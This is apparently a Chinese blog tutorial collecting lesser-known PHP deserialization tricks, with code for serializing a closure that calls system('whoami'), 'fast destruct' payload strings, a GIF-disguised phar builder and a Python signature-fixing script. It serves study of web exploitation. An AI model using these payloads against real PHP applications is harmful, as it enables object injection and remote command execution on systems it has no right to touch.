PHP反序列化冷知识点总结

Opi/Closure(闭包)函数

PHP在5.3版本引入了Closure类用于代表匿名函数
根据PHP官方文档,Closure 类定义如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?  
class Closure {  
    /* 方法 */  
    private __construct()  
    public static bind(Closure $closure, ?object $newThis, object|string|null $newScope = "static"): ?Closure  
    public bindTo(object $newthis, mixed $newscope = 'static'): Closure  
    public call(object $newThis, mixed ...$args): mixed  
    public static fromCallable(callable $callback): Closure  
}  
?>  

但是Closure是不允许序列化和反序列化的,然而Opi Closure库实现了这一功能,通过Opi Closure,可以方便对闭包进行序列化和反序列化,只需要使用Opis\Closure\serialize()Opis\Closure\unserialize()即可
举个例子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php  
include("./vendor/opis/closure/autoload.php");  
class Test{  
    public $source;  
    public function __destruct(){  
        call_user_func($this->source,1);  
    }  
}  
$func = function(){  
    $cmd = 'whoami';  
    system($cmd);  
};  
$raw = \Opis\Closure\serialize($func);  
$t = new Test;  
$t->source = \Opis\Closure\unserialize($raw);  
$exp = serialize($t);  
unserialize($exp);  
  
//output f10wers13eicheng  

fast destruct

  • 在 PHP 中单独执行unserialize函数,则反序列化得到的生命周期仅限于这个函数执行的生命周期,在执行完unserialize()函数时就会执行__destruct方法
  • 而如果将unserialize()函数执行后得到的字符串赋值给一个变量,则反序列化的对象的生命周期就会变长,会一直到对象被销毁时才执行析构方法
    比如PHP中有如下代码
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php  
class test{  
    public function __destruct(){  
        echo "bypass";  
    }  
}  
$a = @unserialize('O:4:"test":0:{}');  
throw new Exception("No No No");  
?>  
  
//output  
-> % php index.php   
PHP Fatal error:  Uncaught Exception: No No No in /Users/f10wers13eicheng/Desktop/webserver/index.php:8  
Stack trace:  
#0 {main}  
  thrown in /Users/f10wers13eicheng/Desktop/webserver/index.php on line 8  
  
Fatal error: Uncaught Exception: No No No in /Users/f10wers13eicheng/Desktop/webserver/index.php:8  
Stack trace:  
#0 {main}  
  thrown in /Users/f10wers13eicheng/Desktop/webserver/index.php on line 8  

0x01

但是如果我们破坏正常序列化的结构,就会提前执行__destruct

1
2
3
//O:4:"test":0:{  
//O:4:"test":0:{1}  
//bypass  

0x02

利用array,众所周知array也是能被序列化/反序列化的,当反序列化时遇到null也会触发fast destruct,修改序列化后array的属性值即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php  
error_reporting(0);  
class test01{  
    public function __destruct(){  
        echo "test01".PHP_EOL;  
    }  
}  
//$o = serialize(array(new test01));  
//echo $o;  
$a = unserialize('a:2:{i:0;O:6:"test01":0:{}i:1;i:0;}');  
throw new Exception("No No No");  
?>  

phar反序列化

生成phar文件

1
2
3
4
5
6
7
8
$clazz = new Clazz();  
@unlink("test.phar");  
$p = new Phar("test.phar",0);  
$p->startBuffering();  
$p->setMetadata($clazz);  
$p->setStub("GIF89a__HALT_COMPILER();");  
$p->addFromString("text.txt","successful!");  
$p->stopBuffering();  

重新计算 phar 文件的签名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import hashlib  
  
f = open("test.phar", "rb")  
data = f.read()  
f.close()  
length = int(data[47:51][::-1].hex(), 16)  
data = data[:51 + length - 1] + b"1" + data[51 + length:len(data) - 28]  
data += hashlib.sha1(data).digest()  
data += b"\x02\x00\x00\x00GBMB"  
f = open("test.phar", "wb")  
f.write(data)  
f.close()  

stdClass和__PHP_Incomplete_Class

stdClass是所有类的基类,可以代替array来反序列化两个类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php  
var_dump(unserialize('O:8:"stdClass":2:{i:0;O:6:"test01":0:{}i:1;O:6:"test02":0:{}}'))  
?>  
  
//output  
object(stdClass)#1 (2) {  
  ["0"]=>  
  object(__PHP_Incomplete_Class)#2 (1) {  
    ["__PHP_Incomplete_Class_Name"]=>  
    string(6) "test01"  
  }  
  ["1"]=>  
  object(__PHP_Incomplete_Class)#3 (1) {  
    ["__PHP_Incomplete_Class_Name"]=>  
    string(6) "test02"  
  }  
}  

当反序列化一个没有类会出现__PHP_Incomplete_Class,并且其中会出现__PHP_Incomplete_Class_Name属性,值就是反序列化时没有的那个类,在序列化的时候便会恢复回去。
如果我们将__PHP_Incomplete_Class_Name属性改成其他名字,便会在反序列化再序列化之后就会消失

0%